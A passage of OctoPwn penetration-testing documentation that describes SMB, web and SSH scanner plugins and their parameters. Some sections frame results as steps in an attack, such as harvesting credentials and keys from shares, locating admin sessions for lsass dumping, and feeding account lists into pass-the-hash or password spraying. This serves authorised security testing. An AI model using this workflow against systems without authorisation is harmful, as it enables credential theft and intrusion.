depth. Controls how many levels deep the scanner will traverse within the SMB directory structure. A higher depth means this will take more time. #### dirsd Determines whether to list directory security descriptors. Enabling this option retrieves the security descriptors of directories. Note that this operation can be slow. #### excludedir Specifies a list of directory names to exclude from the scan. Provide a comma-separated list of directory names that the scanner should skip during enumeration. #### excludeshare Specifies a list of share names to exclude from the scan. Provide a comma-separated list of share names that the scanner should skip during enumeration. #### filesd Determines whether to list file security descriptors. Enabling this option retrieves the security descriptors of files. Note that this operation can be slow. #### maxitems Specifies the maximum number of items to enumerate per folder. Limits the number of items (files and folders) the scanner will retrieve per directory. #### sharesd Determines whether to list share security descriptors. Enabling this option retrieves the security descriptors of SMB shares. Note that this operation can be slow. #### targets Specifies the targets to scan. A list of targets can be specified in the following formats: - **ID**: ID of the target server from the targets window. - **IP**: Single IP address (e.g., `192.168.1.1`). - **CIDR**: IP range in CIDR notation (e.g., `192.168.1.0/24`). - **Hostname**: Resolvable hostname. - **File**: Path to a file containing targets (must be in OctoPwn’s `/browserefs/volatile` directory). File lists need to be uploaded into OctoPwn and separated by newlines. - **Control word**: Use `all` to scan all stored targets. - **Single Group**: `g:` (e.g., `g:test1`). - **Multiple Groups**: `g:,g:` (e.g., `g:test1,g:test2`). - **Port Group**: `p:` (e.g., `p:445`). - **Port Group with Protocol**: `p:/` (e.g., `p:445/tcp`). #### writetest Determines whether to check if a share is writable. Enabling this option tests if the scanner can write to the share, indicating possible misconfigurations. --- ### Advanced Parameters #### authtype Specifies the authentication protocol. Available protocols: - `NTLM` - `Kerberos` #### dialect Specifies the SMB connection dialect. Fixed to `SMB2` for this scanner. #### krbetypes Specifies the Kerberos encryption types to use during the scan. Provide a comma-separated list of encryption types (e.g., `23,17,18`). #### krbrealm Specifies the Kerberos realm to use. Enter the Kerberos realm (domain name) for authentication. #### maxruntime Specifies the maximum runtime for the scanner. #### proxy Specifies the proxy ID to use for the scan. Enter the ID of the proxy to route the scan through. Proxies must be configured in the Proxy Window. #### resultsfile Specifies a file for saving the scan results. The file will be saved in OctoPwn’s `/browserefs/volatile` directory. #### showerrors Determines whether errors encountered during the scan should be displayed. #### timeout Sets the timeout (in seconds) for each target. #### workercount Specifies the number of parallel workers for the scan. --- # [Scanners / SMB shares, files & sessions] snaffler Source: https://docs.octopwn.com/plugins/scanners/snaffler.html # SMB File Enumerator Scanner (snaffler) The **Snaffler Scanner** in OctoPwn enumerates SMB shares and scans for files containing sensitive data, such as credentials, configuration files, or private keys. This scanner is based on the popular tool [Snaffler](https://github.com/SnaffCon/Snaffler) and automates the process of identifying and downloading interesting files. All downloaded files are saved to OctoPwn's file browser at `/browserefs/volatile/snaffler_downloads` for review and analysis. --- ## Parameters ### Normal Parameters #### credential Specifies the ID of the credential to use for authentication. Enter the ID of the credential stored in the Credentials Window. #### keepfiles Specifies the folder enumeration depth. Defines how deep the scanner will traverse folder structures to search for files. #### maxdownloads Specifies the maximum number of concurrent downloads per machine. #### maxdownloadstotal Specifies the maximum number of concurrent downloads across all targets. #### maxfilesize Specifies the maximum file size to download (in bytes). Limits the file size to avoid downloading excessively large files. Files larger than the specified size are skipped. #### rulesdir Specifies the directory containing rules for identifying interesting files. Rules can be customized to target specific file types or patterns. If not provided, default rules are applied. Rules will need to be uploaded into a directory in OctoPwn's volatile. Rules are written as `.toml`, an example can be found [here](https://github.com/SnaffCon/Snaffler/blob/master/Snaffler/SnaffRules/DefaultRules/FileRules/Discard/DiscardByFileExtension.toml) #### targets Specifies the targets to scan. A list of targets can be specified in the following formats: - **ID**: ID of the target server from the targets window. - **IP**: Single IP address (e.g., `192.168.1.1`). - **CIDR**: IP range in CIDR notation (e.g., `192.168.1.0/24`). - **Hostname**: Resolvable hostname. - **File**: Path to a file containing targets (must be in OctoPwn’s `/browserefs/volatile` directory). File lists need to be uploaded into OctoPwn and separated by newlines. - **Control word**: Use `all` to scan all stored targets. - **Single Group**: `g:` (e.g., `g:test1`). - **Multiple Groups**: `g:,g:` (e.g., `g:test1,g:test2`). - **Port Group**: `p:` (e.g., `p:445`). - **Port Group with Protocol**: `p:/` (e.g., `p:445/tcp`). ### Advanced Parameters #### authtype Specifies the authentication protocol. Available protocols: - `NTLM` - `Kerberos` #### dialect Specifies the SMB connection dialect. Fixed to `SMB2` for this scanner. #### krbetypes Specifies the Kerberos encryption types to use during the scan. Provide a comma-separated list of encryption types (e.g., `23,17,18`). #### krbrealm Specifies the Kerberos realm to use. Enter the Kerberos realm (domain name) for authentication. #### maxruntime Specifies the maximum runtime for the scanner. #### proxy Specifies the proxy ID to use for the scan. Enter the ID of the proxy to route the scan through. Proxies must be configured in the Proxy Window. #### resultsfile Specifies a file for saving the scan results. The file will be saved in OctoPwn’s `/browserefs/volatile` directory. #### showerrors Determines whether errors encountered during the scan should be displayed. #### timeout Sets the timeout (in seconds) for each target. #### workercount Specifies the number of parallel workers for the scan. --- # [Scanners / SMB shares, files & sessions] smbsession Source: https://docs.octopwn.com/plugins/scanners/smbsession.html # SMB Session Enumeration Scanner (smbsession) The **SMB Session Enumeration Scanner** in OctoPwn enumerates active SMB user sessions on target servers. **Session enumeration** provides a snapshot of the currently logged-in users on a system. This information is useful during penetration tests to identify the systems high-value accounts are logged in to, such as domain administrators or service accounts, that can be targeted for privilege escalation or lateral movement by dumping lsass. ### Challenges with Newer Windows Versions Session enumeration is no longer possible by default on newer versions of Windows (starting with Windows 10 and Server 2016) due to improved security configurations. Microsoft has restricted the ability to enumerate user sessions via SMB to mitigate the risk of unauthorized access. However, if systems are misconfigured or running older versions of Windows, session enumeration might still be feasible. ### Alternatives for Session Enumeration 1. **SCCM (System Center Configuration Manager)**: SCCM logs user session information, which can be accessed if SCCM servers are compromised. 2. **WMI (Windows Management Instrumentation)**: WMI can be used to query session information, provided the attacker has sufficient privileges. --- ## Parameters ### Normal Parameters #### credential Specifies the ID of the credential to use for authentication. Enter the ID of the credential stored in the Credentials Window. #### targets Specifies the targets to scan. A list of targets can be specified in the following formats: - **ID**: ID of the target server from the targets window. - **IP**: Single IP address (e.g., `192.168.1.1`). - **CIDR**: IP range in CIDR notation (e.g., `192.168.1.0/24`). - **Hostname**: Resolvable hostname. - **File**: Path to a file containing targets (must be in OctoPwn’s `/browserefs/volatile` directory). File lists need to be uploaded into OctoPwn and separated by newlines. - **Control word**: Use `all` to scan all stored targets. - **Single Group**: `g:` (e.g., `g:test1`). - **Multiple Groups**: `g:,g:` (e.g., `g:test1,g:test2`). - **Port Group**: `p:` (e.g., `p:445`). - **Port Group with Protocol**: `p:/` (e.g., `p:445/tcp`). ### Advanced Parameters #### authtype Specifies the authentication protocol. Available protocols: - `NTLM` - `Kerberos` #### dialect Specifies the SMB connection dialect. Fixed to `SMB2` for this scanner. #### krbetypes Specifies the Kerberos encryption types to use during the scan. Provide a comma-separated list of encryption types (e.g., `23,17,18`). #### krbrealm Specifies the Kerberos realm to use. Enter the Kerberos realm (domain name) for authentication. #### maxruntime Specifies the maximum runtime for the scanner. #### proxy Specifies the proxy ID to use for the scan. Enter the ID of the proxy to route the scan through. Proxies must be configured in the Proxy Window. #### resultsfile Specifies a file for saving the scan results. The file will be saved in OctoPwn’s `/browserefs/volatile` directory. #### showerrors Determines whether errors encountered during the scan should be displayed. #### timeout Sets the timeout (in seconds) for each target. #### workercount Specifies the number of parallel workers for the scan. --- # [Scanners / SMB shares, files & sessions] smbregsession Source: https://docs.octopwn.com/plugins/scanners/smbregsession.html # SMB Registry Session Scanner (smbregsession) The **SMB Registry Session Scanner** enumerates **local user SIDs** on each target host by reading the SAM registry hive through the Remote Registry service over SMB (port 445). For each discovered SID it tries to resolve the matching SAM account name. Results contain the target IP, the user SID and the resolved username when available. Identifying local accounts that exist outside of Active Directory — service accounts, local admins with non-default names, leftover test accounts — is useful for many things. The SID list also confirms whether the default `Administrator` account (well-known SID ending in `-500`) has been renamed, which is a common AD-hardening footgun, and the resulting account list feeds straight into targeted brute-force or pass-the-hash workflows. ## SID resolution strategy The scanner resolves SID → username in two passes: 1. **Pre-loaded cache from project data.** When the scan starts it walks every `USERS` entry stored in the project (typically populated by an earlier LDAP dump or `userenum` run) and builds an in-memory `objectSid → sAMAccountName` cache. This makes domain-SID resolution instantaneous and offline. 2. **Live LDAP fallback.** If the cache misses but you have a logged-in `LDAP` or `LDAPS` client session whose `domain_sid` matches the SID's domain prefix, the scanner asks that session to resolve the SID over the wire — without opening any new binds. If neither pass yields a username, the SID is reported with an empty `USERNAME` field. !!! tip "Better resolution = log into LDAP first" Run `userenum` (or do a full LDAP dump) **before** scanning so that the SID cache is fully populated. Without LDAP context many SIDs will stay unresolved. !!! tip "Combine with other secret-mining scanners" - [smbpshistory](smbpshistory.md) — PSReadline command history files. - [event6secrets](event6secrets.md) — credentials embedded in event logs. --- ## Parameters ### Normal Parameters #### credential Specifies the ID of the credential to use for authentication. Enter the ID of the credential stored in the Credentials Window. Local-admin (or sufficient registry rights) is required to open the SAM hive. #### targets Specifies the targets to scan. A list of targets can be specified in the following formats: - **ID**: ID of the target server from the targets window. - **IP**: Single IP address (e.g., `192.168.1.1`). - **CIDR**: IP range in CIDR notation (e.g., `192.168.1.0/24`). - **Hostname**: Resolvable hostname. - **File**: Path to a file containing targets (must be in OctoPwn’s `/browserefs/volatile` directory). File lists need to be uploaded into OctoPwn and separated by newlines. - **Control word**: Use `all` to scan all stored targets. - **Single Group**: `g:` (e.g., `g:test1`). - **Multiple Groups**: `g:,g:` (e.g., `g:test1,g:test2`). - **Port Group**: `p:` (e.g., `p:445`). - **Port Group with Protocol**: `p:/` (e.g., `p:445/tcp`). --- ### Advanced Parameters #### authtype Specifies the authentication protocol. Available protocols: - `NTLM` - `Kerberos` #### dialect Specifies the SMB connection dialect. Fixed to `SMB2` for this scanner. #### krbetypes Specifies the Kerberos encryption types to use during the scan. Provide a comma-separated list of encryption types (e.g., `23,17,18`). #### krbrealm Specifies the Kerberos realm to use. #### maxruntime Specifies the maximum runtime per host (in seconds). Set to `-1` to disable. #### proxy Specifies the proxy ID to use for the scan. Enter the ID of the proxy to route the scan through. Proxies must be configured in the Proxy Window. #### resultsfile Specifies a file for saving the scan results. The file will be saved in OctoPwn’s `/browserefs/volatile` directory. #### showerrors Determines whether errors encountered during the scan should be displayed. #### timeout Sets the timeout (in seconds) for each connection attempt. #### triggerports Ports which trigger an automated `smbregsession` scan when discovered by other scanners. Pre-populated with `445/TCP`. #### workercount Specifies the number of parallel workers for the scan. #### wsnetreuse Internal parameter. Do not modify. --- # [Scanners / Web reconnaissance] httpheader Source: https://docs.octopwn.com/plugins/scanners/httpheader.html # HTTP Header Scanner (httpheader) The **HTTP Header Scanner** is a lightweight first-pass tool for web reconnaissance. It sends a single `GET` request over both HTTP and HTTPS to every target/port combination, captures the full response headers, the HTTP status code and the page `` tag. No authentication is performed. Each result row contains the target IP, the URL, the status code, the page title, the `Server` string and the complete header set as a dictionary. That is enough to identify the web technology stack from `Server` / `X-Powered-By`, spot administration panels and default installations from the page title, and flag missing security headers (`Strict-Transport-Security`, `Content-Security-Policy`, `X-Frame-Options`, …) for the report. Each successfully probed target/port also gets registered as a `<port>/TCP` target-port entry, so follow-up scanners can pick it up automatically. !!! tip "When to use which web scanner" - **httpheader** — fastest, returns every header and the page title. Good for triage and reporting. - [httpfinger](httpfinger.md) — heavier, performs signature-based service identification. - [webscreenshot](webscreenshot.md) — visual triage, captures full-page screenshots. - [nuclei](nuclei.md) — full template-based vulnerability scan. --- ## Parameters ### Normal Parameters #### targets Specifies the targets to scan. A list of targets can be specified in the following formats: - **ID**: ID of the target server from the targets window. - **IP**: Single IP address (e.g., `192.168.1.1`). - **CIDR**: IP range in CIDR notation (e.g., `192.168.1.0/24`). - **Hostname**: Resolvable hostname. - **File**: Path to a file containing targets (must be in OctoPwn’s `/browserefs/volatile` directory). File lists need to be uploaded into OctoPwn and separated by newlines. - **Control word**: Use `all` to scan all stored targets. - **Single Group**: `g:<groupname>` (e.g., `g:test1`). - **Multiple Groups**: `g:<groupname1>,g:<groupname2>` (e.g., `g:test1,g:test2`). - **Port Group**: `p:<port>` (e.g., `p:445`). - **Port Group with Protocol**: `p:<port>/<protocol>` (e.g., `p:445/tcp`). #### ports Comma-separated list of TCP ports to probe. Defaults to `80, 443, 8080, 8443, 4443, 2381`. #### protocols Which web schemes to try. Defaults to `HTTP,HTTPS`; the scanner tries both unless you restrict the list. --- ### Advanced Parameters #### maxruntime Specifies the maximum runtime per host (in seconds). Set to `-1` to disable. #### proxy Specifies the proxy ID to use for the scan. Enter the ID of the proxy to route the scan through. Proxies must be configured in the Proxy Window. #### resultsfile Specifies a file for saving the scan results. The file will be saved in OctoPwn’s `/browserefs/volatile` directory. #### showerrors Determines whether errors encountered during the scan should be displayed. #### timeout Sets the timeout (in seconds) for each connection attempt. #### triggerports Ports which trigger an automated `httpheader` scan when discovered by other scanners. #### workercount Specifies the number of parallel workers for the scan. #### wsnetreuse Internal parameter. Do not modify. --- # [Scanners / Web reconnaissance] httpfinger Source: https://docs.octopwn.com/plugins/scanners/httpfinger.html # HTTP Fingerprint Scanner (httpfinger) The **HTTP Fingerprint Scanner** identifies web applications and technologies running on HTTP/HTTPS services across your target hosts by matching responses against a built-in library of service signatures. It connects to each target on the configured ports over both HTTP and HTTPS, then fingerprints the service by analysing response patterns. Web servers, application frameworks, CMS platforms, API gateways, management consoles and more are all in scope. Each result row contains the target IP, the URL, the detected service name, its category, a CPE identifier, the page title and the `Server` header. This makes the scanner an essential first step for web-attack surface mapping: it tells you exactly what is running on each port so you can prioritise manual testing or feed the confirmed endpoints into a targeted vulnerability scan with the [nuclei](nuclei.md) scanner. It is also the fastest way to discover forgotten admin panels, development servers and APIs that hide behind unexpected ports. !!! tip "Workflow" Run [portscan](portscan.md) first to discover open TCP ports across your subnet, then point `httpfinger` at the discovered web ports. The detected services can then be passed to [httpheader](httpheader.md) for header analysis or to [nuclei](nuclei.md) for template-based vulnerability detection. --- ## Parameters ### Normal Parameters #### targets Specifies the targets to scan. A list of targets can be specified in the following formats: - **ID**: ID of the target server from the targets window. - **IP**: Single IP address (e.g., `192.168.1.1`). - **CIDR**: IP range in CIDR notation (e.g., `192.168.1.0/24`). - **Hostname**: Resolvable hostname. - **File**: Path to a file containing targets (must be in OctoPwn’s `/browserefs/volatile` directory). File lists need to be uploaded into OctoPwn and separated by newlines. - **Control word**: Use `all` to scan all stored targets. - **Single Group**: `g:<groupname>` (e.g., `g:test1`). - **Multiple Groups**: `g:<groupname1>,g:<groupname2>` (e.g., `g:test1,g:test2`). - **Port Group**: `p:<port>` (e.g., `p:445`). - **Port Group with Protocol**: `p:<port>/<protocol>` (e.g., `p:445/tcp`). #### ports Comma-separated list of TCP ports to probe. Defaults cover the most common web ports: `80, 443, 8080, 8443, 4443, 2381`. #### protocols Which web schemes to try against each port. Defaults to `http,https`. The scanner tries both unless you pin it to one. #### services Restricts the fingerprinting to a subset of the built-in service catalogue. The default value `all` matches every known signature. #### continue_on_success When `False` (default), the scanner stops probing additional services on a target/port once it has produced a positive match. Set to `True` to keep matching every signature even after a hit — useful when multiple frameworks may be stacked on the same endpoint. --- ### Advanced Parameters #### maxruntime Specifies the maximum runtime per host (in seconds). Set to `-1` to disable. #### proxy Specifies the proxy ID to use for the scan. Enter the ID of the proxy to route the scan through. Proxies must be configured in the Proxy Window. #### resultsfile Specifies a file for saving the scan results. The file will be saved in OctoPwn’s `/browserefs/volatile` directory. #### showerrors Determines whether errors encountered during the scan should be displayed. #### timeout Sets the timeout (in seconds) for each connection attempt. #### triggerports Ports which trigger an automated `httpfinger` scan when discovered by other scanners. Pre-populated with the same default web port set. #### workercount Specifies the number of parallel workers for the scan. #### wsnetreuse Internal parameter. Do not modify. --- # [Scanners / Web reconnaissance] webscreenshot Source: https://docs.octopwn.com/plugins/scanners/webscreenshot.html # Web Screenshot Scanner (webscreenshot) The **Web Screenshot Scanner** captures screenshots of web services using a headless Chrome instance and returns the image data as base64-encoded PNGs. The scanner iterates over each target/port combination (both HTTP and HTTPS), navigates to the URL, and renders a screenshot at a configurable resolution (default `1024x768`). When a page loads successfully on one protocol, the other is skipped for that target/port to save time. Each result row contains the URL and the base64-encoded screenshot. This is visual reconnaissance at scale — perfect for triaging hundreds of web services to spot admin panels, login pages, default installations, internal dashboards and other high-value targets without manually opening each URL. !!! warning "Browser version not supported" `webscreenshot` shells out to a local Chrome installation and is therefore **not compatible with the browser (WASM) version of OctoPwn**. Run it from the desktop / server build of OctoPwn. The scanner is part of the **enterprise** tier. !!! tip "Workflow" 1. Use [portscan](portscan.md) to discover open TCP ports. 2. Run [httpheader](httpheader.md) or [httpfinger](httpfinger.md) to confirm web services. 3. Point `webscreenshot` at the confirmed endpoints to triage them visually. 4. Feed the interesting URLs to [nuclei](nuclei.md) for template-based vulnerability checks. --- ## Parameters ### Normal Parameters #### targets Specifies the targets to scan. A list of targets can be specified in the following formats: - **ID**: ID of the target server from the targets window. - **IP**: Single IP address (e.g., `192.168.1.1`). - **CIDR**: IP range in CIDR notation (e.g., `192.168.1.0/24`). - **Hostname**: Resolvable hostname. - **File**: Path to a file containing targets (must be in OctoPwn’s `/browserefs/volatile` directory). File lists need to be uploaded into OctoPwn and separated by newlines. - **Control word**: Use `all` to scan all stored targets. - **Single Group**: `g:<groupname>` (e.g., `g:test1`). - **Multiple Groups**: `g:<groupname1>,g:<groupname2>` (e.g., `g:test1,g:test2`). - **Port Group**: `p:<port>` (e.g., `p:443`). - **Port Group with Protocol**: `p:<port>/<protocol>` (e.g., `p:443/tcp`). #### portdef Comma-separated list of TCP ports to capture. Defaults to `80, 443, 8443, 8444, 8080`. #### width Width (in pixels) of the rendered screenshot. Defaults to `1024`. #### height Height (in pixels) of the rendered screenshot. Defaults to `768`. #### batchsize Number of URLs Chrome processes in a single batch. Defaults to `10`. Lower values reduce memory pressure; higher values speed up large scans. --- ### Advanced Parameters #### maxruntime Specifies the maximum runtime per host (in seconds). Set to `-1` to disable. #### proxy Specifies the proxy ID to use for the scan. Enter the ID of the proxy to route the scan through. Proxies must be configured in the Proxy Window. #### resultsfile Specifies a file for saving the scan results. The file will be saved in OctoPwn’s `/browserefs/volatile` directory. #### showerrors Determines whether errors encountered during the scan should be displayed. #### timeout Sets the timeout (in seconds) for each Chrome navigation. #### triggerports Ports which trigger an automated `webscreenshot` scan when discovered by other scanners. #### workercount Specifies the number of parallel workers for the scan. Note that Chrome itself batches per `batchsize` — most parallelism is controlled by that parameter. #### wsnetreuse Internal parameter. Do not modify. --- # [Scanners / Web reconnaissance] nuclei Source: https://docs.octopwn.com/plugins/scanners/nuclei.html # Nuclei Scanner (nuclei) The **Nuclei Scanner** wraps the upstream [Nuclei](https://github.com/projectdiscovery/nuclei) vulnerability scanner from ProjectDiscovery. It builds URLs from your target list and port configuration, launches the local `nuclei` binary as a subprocess, and streams findings back into the project in real time. Nuclei runs a large library of YAML templates against web applications to detect vulnerabilities, misconfigurations, exposed admin panels, default credentials, CVE PoCs and more. Each finding pulled from Nuclei's JSONL output is normalised into a row containing `severity`, `template_id`, `matched_at`, `host`, `port`, `matcher`, `cve_id`, plus the raw Nuclei record (template name, description, references, CVE/CWE metadata, curl reproduction command, …) so the data integrates smoothly with the OctoPwn vulnerability tracking engine. !!! warning "Browser version not supported" `nuclei` shells out to the `nuclei` binary on the host running OctoPwn. It is **not compatible with the browser (WASM) version**. Run it from the desktop / server build. The scanner is part of the **enterprise** tier. !!! info "Prerequisites" The Nuclei binary must be available on the host and reachable via `PATH`: - macOS: `brew install nuclei` - Linux: `apt install nuclei` (or download a release from the [GitHub releases page](https://github.com/projectdiscovery/nuclei/releases)). - After installation, fetch the templates: `nuclei -update-templates`. If the binary is not found at `nucleipath`, the scan aborts with a clear error message. !!! tip "Workflow" 1. [portscan](portscan.md) → discover open TCP ports. 2. [httpheader](httpheader.md) / [httpfinger](httpfinger.md) → confirm web services. 3. **nuclei** → throw templated checks at the confirmed endpoints. --- ## Parameters ### Normal Parameters #### targets Specifies the targets to scan. URLs (`http://...` / `https://...`) are accepted as-is; bare IPs / hostnames are expanded into URLs using `ports` and `protocols`. A list of targets can be specified in the following formats: - **ID**: ID of the target server from the targets window. - **IP**: Single IP address (e.g., `192.168.1.1`). - **CIDR**: IP range in CIDR notation (e.g., `192.168.1.0/24`). - **Hostname**: Resolvable hostname. - **URL**: Full URL (e.g., `https://example.com/admin`) — used directly. - **File**: Path to a file containing targets (must be in OctoPwn’s `/browserefs/volatile` directory). - **Control word**: Use `all` to scan all stored targets. - **Single Group**: `g:<groupname>` (e.g., `g:test1`). - **Multiple Groups**: `g:<groupname1>,g:<groupname2>` (e.g., `g:test1,g:test2`). - **Port Group**: `p:<port>` (e.g., `p:443`). - **Port Group with Protocol**: `p:<port>/<protocol>` (e.g., `p:443/tcp`). #### ports Comma-separated list of TCP ports to test. Defaults to `80, 443, 8080, 8443, 4443, 2381`. #### protocols Which web schemes to try against each port. Defaults to `HTTP,HTTPS`. #### templates Restrict Nuclei to a template path or tag (`-t` flag). Examples: `cves/`, `exposures/`, `cves/2024/`. Leave empty to use Nuclei's default template selection. #### severity Restrict Nuclei to one or more severity levels (`-severity`). Comma-separated, valid values: `critical,high,medium,low,info`. Empty means "no filter". --- ### Advanced Parameters #### nucleipath Path to the `nuclei` executable. Defaults to `nuclei` (resolved via `PATH`). Set this when the binary lives in a non-standard location. #### ratelimit Maximum requests per second sent by Nuclei (`-rate-limit`). Defaults to `150`. #### bulksize Number of hosts processed per template (`-bulk-size`). Defaults to `25`. #### concurrency Number of templates run concurrently (`-concurrency`). Defaults to `25`. #### timeout Per-request timeout in seconds (`-timeout`). Defaults to `10`. #### retries Number of retries per failed request (`-retries`). Defaults to `1`. #### nointeractsh When `True` (default), the scanner passes `-no-interactsh` to disable Nuclei's out-of-band testing server. Set to `False` if your engagement permits OOB callbacks and you want to catch SSRF / blind-RCE templates. #### maxruntime Specifies the maximum runtime per host (in seconds). Set to `-1` to disable. #### proxy Specifies the proxy ID to use for the scan. Enter the ID of the proxy to route the scan through. Proxies must be configured in the Proxy Window. Note that the Nuclei subprocess itself talks directly to targets — only the OctoPwn-side URL generation participates in proxy logic. #### resultsfile Specifies a file for saving the scan results. The file will be saved in OctoPwn’s `/browserefs/volatile` directory. #### showerrors Determines whether errors encountered during the scan should be displayed. #### triggerports Ports which trigger an automated `nuclei` scan when discovered by other scanners. #### workercount Specifies the number of parallel workers for the OctoPwn-side scanner shell. Nuclei manages its own internal concurrency through `bulksize` / `concurrency`. #### wsnetreuse Internal parameter. Do not modify. --- # [Scanners / SSH reconnaissance] sshbanner Source: https://docs.octopwn.com/plugins/scanners/sshbanner.html # SSH Banner Scanner (sshbanner) The **SSH Banner Scanner** retrieves the protocol banner string that every SSH server sends immediately upon TCP connection (typically port 22). The banner usually carries the SSH software name and version, for example `SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.6`. No authentication is performed, no credentials are required. Each result row contains the target IP and the raw banner string. Banners are useful for fingerprinting the operating system and SSH implementation, identifying outdated or vulnerable SSH versions, and spotting non-standard or embedded SSH stacks. On many Linux distributions the banner also reveals the distribution and patch level — invaluable when prioritising targets for known exploits. !!! tip "Pair with the related SSH scanners" - [sshinfo](sshinfo.md) — supported KEX algorithms, ciphers, MACs (algorithm hardening audit). - [sshauth](sshauth.md) — accepted authentication methods (password vs publickey vs gssapi). - [sshlogin](sshlogin.md) — actually validates a credential against the server. !!! tip "Authentication" Banner grabbing is unauthenticated, but once you move on to [sshlogin](sshlogin.md) or open an interactive session, the OctoPwn [SSH client](../clients/ssh.md#authentication) only implements `password` and `publickey` — GSSAPI / keyboard-interactive / certificates are out of scope even when the server advertises them. --- ## Parameters ### Normal Parameters #### targets Specifies the targets to scan. A list of targets can be specified in the following formats: - **ID**: ID of the target server from the targets window. - **IP**: Single IP address (e.g., `192.168.1.1`). - **CIDR**: IP range in CIDR notation (e.g., `192.168.1.0/24`). - **Hostname**: Resolvable hostname. - **File**: Path to a file containing targets (must be in OctoPwn’s `/browserefs/volatile` directory). File lists need to be uploaded into OctoPwn and separated by newlines. - **Control word**: Use `all` to scan all stored targets. - **Single Group**: `g:<groupname>` (e.g., `g:test1`). - **Multiple Groups**: `g:<groupname1>,g:<groupname2>` (e.g., `g:test1,g:test2`). - **Port Group**: `p:<port>` (e.g., `p:22`). - **Port Group with Protocol**: `p:<port>/<protocol>` (e.g., `p:22/tcp`). --- ### Advanced Parameters #### maxruntime Specifies the maximum runtime per host (in seconds). Set to `-1` to disable. #### protocol Specifies the protocol. Fixed to `SSH` for this scanner. #### proxy Specifies the proxy ID to use for the scan. Enter the ID of the proxy to route the scan through. Proxies must be configured in the Proxy Window. #### resultsfile Specifies a file for saving the scan results. The file will be saved in OctoPwn’s `/browserefs/volatile` directory. #### showerrors Determines whether errors encountered during the scan should be displayed. #### timeout Sets the timeout (in seconds) for each connection attempt. #### triggerports Ports which trigger an automated `sshbanner` scan when discovered by other scanners. Pre-populated with `22/TCP, 2222/TCP, 22222/TCP`. #### verifyhost When enabled, the SSH client verifies the server host key. Disabled by default — banner grabbing is purely informational and does not need host-key trust. #### workercount Specifies the number of parallel workers for the scan. #### wsnetreuse Internal parameter. Do not modify. --- # [Scanners / SSH reconnaissance] sshinfo Source: https://docs.octopwn.com/plugins/scanners/sshinfo.html # SSH Algorithm Scanner (sshinfo) The **SSH Algorithm Scanner** enumerates the full set of cryptographic algorithms each target SSH server supports — without authenticating. It completes the key-exchange init phase (`SSH_MSG_KEXINIT`) and extracts every advertised algorithm category in one round trip. The following algorithm categories are gathered: - **kex_algorithms** — Key exchange methods (e.g. `curve25519-sha256`, `diffie-hellman-group14-sha256`). - **host_key_algorithms** — Server host-key types (e.g. `ssh-ed25519`, `rsa-sha2-512`). - **encryption_algorithms** — Symmetric ciphers (e.g. `aes256-gcm@openssh.com`, `chacha20-poly1305@openssh.com`). - **mac_algorithms** — Message authentication codes (e.g. `hmac-sha2-256-etm@openssh.com`). - **compression_algorithms** — Supported compression (e.g. `none`, `zlib@openssh.com`). - **languages** — Rarely used, reported when present. Each row is a single target with comma-separated algorithm lists. This data is essential for SSH security auditing: identifying servers that still offer weak algorithms (`diffie-hellman-group1-sha1`, `arcfour`, `hmac-md5`) or that lack modern AEAD ciphers helps prioritise hardening efforts and may reveal attack surface for downgrade attacks. !!! tip "Pair with the related SSH scanners" - [sshbanner](sshbanner.md) — software name and version. - [sshauth](sshauth.md) — accepted authentication methods. - [sshlogin](sshlogin.md) — credential validation. --- ## Parameters ### Normal Parameters #### targets Specifies the targets to scan. A list of targets can be specified in the following formats: - **ID**: ID of the target server from the targets window. - **IP**: Single IP address (e.g., `192.168.1.1`). - **CIDR**: IP range in CIDR notation (e.g., `192.168.1.0/24`). - **Hostname**: Resolvable hostname. - **File**: Path to a file containing targets (must be in OctoPwn’s `/browserefs/volatile` directory). File lists need to be uploaded into OctoPwn and separated by newlines. - **Control word**: Use `all` to scan all stored targets. - **Single Group**: `g:<groupname>` (e.g., `g:test1`). - **Multiple Groups**: `g:<groupname1>,g:<groupname2>` (e.g., `g:test1,g:test2`). - **Port Group**: `p:<port>` (e.g., `p:22`). - **Port Group with Protocol**: `p:<port>/<protocol>` (e.g., `p:22/tcp`). --- ### Advanced Parameters #### maxruntime Specifies the maximum runtime per host (in seconds). Set to `-1` to disable. #### protocol Specifies the protocol. Fixed to `SSH` for this scanner. #### proxy Specifies the proxy ID to use for the scan. Enter the ID of the proxy to route the scan through. Proxies must be configured in the Proxy Window. #### resultsfile Specifies a file for saving the scan results. The file will be saved in OctoPwn’s `/browserefs/volatile` directory. #### showerrors Determines whether errors encountered during the scan should be displayed. #### timeout Sets the timeout (in seconds) for each connection attempt. #### triggerports Ports which trigger an automated `sshinfo` scan when discovered by other scanners. Pre-populated with `22/TCP, 2222/TCP, 22222/TCP`. #### verifyhost When enabled, the SSH client verifies the server host key. Disabled by default — `sshinfo` only inspects the server's KEXINIT and never moves on to authentication. #### workercount Specifies the number of parallel workers for the scan. #### wsnetreuse Internal parameter. Do not modify. --- # [Scanners / SSH reconnaissance] sshauth Source: https://docs.octopwn.com/plugins/scanners/sshauth.html # SSH Authentication Methods Scanner (sshauth) The **SSH Authentication Methods Scanner** enumerates which authentication methods each target SSH server is willing to accept. The scanner connects, requests the list of allowed authentication methods, and emits one row per target/method pair. Common results include `password`, `publickey`, `keyboard-interactive`, `gssapi-with-mic` and `hostbased`. This information is critical for planning your approach: servers that accept `password` can be targeted with credential spraying or brute force, servers that only accept `publickey` require a stolen private key, and the presence of `gssapi-with-mic` indicates Kerberos integration which opens up ticket-based attack paths. !!! tip "Authentication" Even when this scanner reports `keyboard-interactive`, `gssapi-with-mic` or `hostbased`, the OctoPwn [SSH client](../clients/ssh.md#authentication) only implements `password` and `publickey`. Servers that don't advertise at least one of those two will not be usable from OctoPwn, regardless of what `sshauth` shows here. !!! tip "Pair with the related SSH scanners" - [sshbanner](sshbanner.md) — software name and version. - [sshinfo](sshinfo.md) — supported KEX algorithms, ciphers, MACs. - [sshlogin](sshlogin.md) — actually validates a credential against the server. --- ## Parameters ### Normal Parameters #### targets Specifies the targets to scan. A list of targets can be specified in the following formats: - **ID**: ID of the target server from the targets window. - **IP**: Single IP address (e.g., `192.168.1.1`). - **CIDR**: IP range in CIDR notation (e.g., `192.168.1.0/24`). - **Hostname**: Resolvable hostname. - **File**: Path to a file containing targets (must be in OctoPwn’s `/browserefs/volatile` directory). File lists need to be uploaded into OctoPwn and separated by newlines. - **Control word**: Use `all` to scan all stored targets. - **Single Group**: `g:<groupname>` (e.g., `g:test1`). - **Multiple Groups**: `g:<groupname1>,g:<groupname2>` (e.g., `g:test1,g:test2`). - **Port Group**: 